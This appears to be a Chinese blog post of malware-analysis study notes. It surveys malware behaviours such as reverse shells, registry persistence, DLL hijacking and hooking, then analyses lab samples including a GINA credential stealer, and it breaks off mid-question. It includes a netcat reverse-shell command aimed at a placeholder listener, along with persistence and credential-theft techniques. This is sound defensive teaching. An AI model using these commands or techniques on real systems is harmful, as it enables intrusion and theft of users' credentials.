赞
踩
本章中会介绍恶意代码常见的恶意行为,方便我们识别各种各样的恶意程序。
**下载器和启动器:**常见的两种恶意代码是下载器和启动器。下载器从互联网上下载其他的恶意代码,然后在本地系统中运行,通常使用WindowsAPI函数URLDownloadtoFileA和WinExec,来下载并运行新的恶意代码。启动器也成为加载器,是一类可执行文件,用来安装立即运行或者将来运行的恶意代码。
**后门:**后门可以让攻击者远程访问一个受害的机器。通常使用80端口的HTTP协议与控制机器进行通信。
**反向Shell:**反向Shell是从受害者主机发起的向攻击者连接,为攻击者提供被感染机器的访问权限,一般有如下反向弹Shell的方式:
nc listener_ip 80 -e cmd.exe来弹Shell。cmd.exe作为反向Shell,首先创建一个套接字并于远程服务器简历连接。然后绑定这个套接字与cmd.exe的标准流再调用CreateProcess函数用隐藏窗口的方式创建cmd.exe。也可以使用多线程方式:使用CreatPipe来绑定一个通道的读写端,如标准输入标准输出,CreateProcess函数用来绑定一个管道与标准流,而不是直接与套接字绑定。调用CreateProcess方法,恶意代码会产生两个线程,一个用来从标准输入管道读取数据,并向套接字写数据,另外一个用来从一个套接字读数据,并向一个标准管道中写数据。通常这两个线程使用数据编码来混淆数据。**远程控制工具:**远程控制工具RAT能被用来管理一台或者多台计算机。远程控制工具进场为了特定目标,如窃取信息或者旁路一个网络执行针对性的攻击。
**僵尸网络:**僵尸网络是被感染主机的一个集合。他们由单一实体控制,其目标同行是为了进行DDoS攻击。
**登陆凭证窃密器:**攻击者通常使用以下三种方法进行登陆凭证的窃取:
**特殊注册表:**恶意代码编写者可以通过一个名为AppInit_DLL特殊注册表项来让他们的DLL得到加载,此注册表项中的DLL程序回在进程加载User32.dll时被加载,AppInit_DLL位置如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
恶意代码编写者可以挂钩一个特殊的Winlogon Notify事件,如登陆、注销、关机、锁屏等,这些甚至允许恶意代码再安全模式下加载,以下注册表键中的注册表项包含Notify值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
Windows所有的服务都存在与注册表中,恶意代码经常作为一个服务安装,安装的恶意代码作为svchost.exe的DLL来存活,这使得恶意代码可以与其他进程混淆,更像一个标准的服务。svchost.exe时从动态链接库中运行服务的通用主机进程,Windows操作系统通常用以时刻运行多个svchost.exe实例,每个实例包含一组服务,这些组定义子啊下列的注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
服务被定义在如下位置:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
**特洛伊木马化(Trojanized)系统二进制文件:**此技术可以直接修改系统的二进制文件,当被感染的二进制文件运行或加载时,将会强制运行恶意代码,恶意代码通常修改一个系统文件的函数入口点,使它跳转到恶意代码,这些修改补丁覆盖函数的开始代码或者覆盖其他的一些并不影响特洛伊木马化DLL正常操作的代码,为了不影响二进制文件的正常操作,恶意代码经常被加到一个可执行文件的空节中,插入的代码并不关心他被插入到感染的DLL的位置。加载恶意代码后,为了让DLL的操作与插入前的一致,代码会跳转回原始的DLL程序。
**DLL加载顺序劫持:**这是一种简单而隐蔽的指数,它允许恶意代码编写者再不适用注册表项或者特洛伊二进制文件的前提下创建一个存活的、恶意的DLL程序,这种技术甚至不需要单独的恶意加载器。以下是再Windows XP中加载DLL的默认搜索顺序:
GetSystemDirectory函数获取的路径)在WindowsXP中利用KnownDLL注册表键可以跳过DLL的加载过程,这注册表键保护一些特定的DLL位置列表。DLL加载顺序劫持可以被System32之外的目录中的二进制文件利用,来加载未被KnownDLL保护的DLL程序。由于DLL递归导入的原因,很多DLL会在加载其他的DLL,而这些DLL按照默顺序加载,因此KnownDLL机制也不能得到充分的保护。
**提权:**多数提权攻击时利用本地系统已知漏洞或者0Day漏洞进行攻击。DLL加载顺序劫持也可以被用来进行提权操作,加入恶意DLL所在的目录是用户可写的,并且加载这个DLL的进程在一个高特权级上运行,那么DLL就获得了提权。
**使用SeDebugPrivilege进行提权:**在Windows系统中,访问令牌是一个包含进程安全描述符的对象,安全描述符用来指定拥有者的访问权限,SeDebugPrivilege特权作为一个系统级别调试的工具被创建,默认情况下,SeDebugPrivilege只赋给本地系统账户权限。普通的用户账号不能给自身赋予SeDebugPrivilege权限。
**IAT Hook:**这是一种在用户空间中很常见的Rootkit方法,它隐藏本地系统中的文件、进程以及网络连接,这种Hook方法修改导入地址表(IAT)或者导出地址表(EAT)从而改变程序的执行流程,但是这种方法很容易被检测出来。
**Inline Hook:**这种方法使用过覆盖导入DLL中的API函数的代码来实现的,所以它必须等到DLL被加载后才能执行。IAT Hook知识简单的修改函数指针,但是Inline Hook将修改实际的函数代码。恶意Rootkit通常使用一个跳转指令替换函数的开始代码来执行Inline Hook,这个跳转指令使Rootkit插入的恶意代码获取执行,另外Rootkit还可以通过改变函数的代码来破坏它或者改变它,而不是跳转到恶意代码。
分析恶意代码Lab11-01.exe
问题
1.这个恶意代码项磁盘释放了什么?
通过静态分析,在004010C9位置发现如下代码:
.text:004010B8 mov eax, lpType .text:004010BD push eax ; lpType .text:004010BE mov ecx, lpName .text:004010C4 push ecx ; lpName .text:004010C5 mov edx, [ebp+hModule] .text:004010C8 push edx ; hModule .text:004010C9 call ds:FindResourceA .text:004010CF mov [ebp+hResInfo], eax .text:004010D2 cmp [ebp+hResInfo], 0 .text:004010D6 jnz short loc_4010DF .text:004010D8 xor eax, eax .text:004010DA jmp loc_4011BF .text:004010DF ; --------------------------------------------------------------------------- .text:004010DF .text:004010DF loc_4010DF: ; CODE XREF: sub_401080+56↑j .text:004010DF mov eax, [ebp+hResInfo] .text:004010E2 push eax ; hResInfo .text:004010E3 mov ecx, [ebp+hModule] .text:004010E6 push ecx ; hModule .text:004010E7 call ds:LoadResource .text:004010ED mov [ebp+hResData], eax .text:004010F0 cmp [ebp+hResData], 0 .text:004010F4 jnz short loc_4010FB .text:004010F6 jmp loc_4011A5 .text:004010FB ; --------------------------------------------------------------------------- .text:004010FB .text:004010FB loc_4010FB: ; CODE XREF: sub_401080+74↑j .text:004010FB mov edx, [ebp+hResData] .text:004010FE push edx ; hResData .text:004010FF call ds:LockResource

在资源节发现了名为TGAD的节,程序对此节进行了二进制资源的提取。

因此程序在磁盘上释放的文件是从资源节中提取出来的数据存储为msgina32.dll。
2.这个恶意代码如何进行驻留?
根据如下代码:
.text:00401004 push 0 ; lpdwDisposition .text:00401006 lea eax, [ebp+phkResult] .text:00401009 push eax ; phkResult .text:0040100A push 0 ; lpSecurityAttributes .text:0040100C push 0F003Fh ; samDesired .text:00401011 push 0 ; dwOptions .text:00401013 push 0 ; lpClass .text:00401015 push 0 ; Reserved .text:00401017 push offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\Curren"... .text:0040101C push 80000002h ; hKey .text:00401021 call ds:RegCreateKeyExA .text:00401027 test eax, eax .text:00401029 jz short loc_401032 .text:0040102B mov eax, 1 .text:00401030 jmp short loc_40107B .text:00401032 mov ecx, [ebp+cbData] .text:00401035 push ecx ; cbData .text:00401036 mov edx, [ebp+lpData] .text:00401039 push edx ; lpData .text:0040103A push 1 ; dwType .text:0040103C push 0 ; Reserved .text:0040103E push offset ValueName ; "GinaDLL" .text:00401043 mov eax, [ebp+phkResult] .text:00401046 push eax ; hKey .text:00401047 call ds:RegSetValueExA .text:0040104D test eax, eax .text:0040104F jz short loc_401062 .text:00401051 mov ecx, [ebp+phkResult] .text:00401054 push ecx ; hObject .text:00401055 call ds:CloseHandle
得知恶意代码写入注册表项SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon并设置了值GinaDLL。
3.这个恶意代码如何窃取用户登陆凭证?
在msgina32.dll文件的导出函数中发现了大量的以Wlx开头的函数名:

这些函数都会调用函数sub_10001000(),此函数会直接将调用函数的名称用GetProcAddress函数在msgina.dll文件中查找此函数的地址并将执行流程交给目标函数,目标函数执行完成之后又会返回到恶意程序中,msgina32.dll中的大部分Wlx开头的函数都是这个结构,但是在函数WlxLoggedOutSAS中却不一样,在WlxLoggedOutSAS中调用了函数sub_10001570()向文件msutil32.sys存储了用户凭证的数据。
4.这个恶意代码对窃取的证书做了什么处理?
通过查看10001570处代码找到程序将窃取的证书存储在了一个名为msutil32.sys的文件中。
5.如何在你的测试环境让这个恶意代码获得用户登陆凭证?
函数WlxLoggedOutSAS的调用发生在用户注销时,因此我们注销重启后就能看到用户登陆凭证。
分析恶意代码Lab11-02.dll。假设一个名为Lab11-02.ini的可疑文件与这个恶意代码一同被发现。
问题
1.这个恶意DLL导出了什么?
这个DLL有两个导出函数:
Name Address Ordinal
installer 1000158B 1
DllEntryPoint 100017E9 [main entry]
2.使用rundll32.ex
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。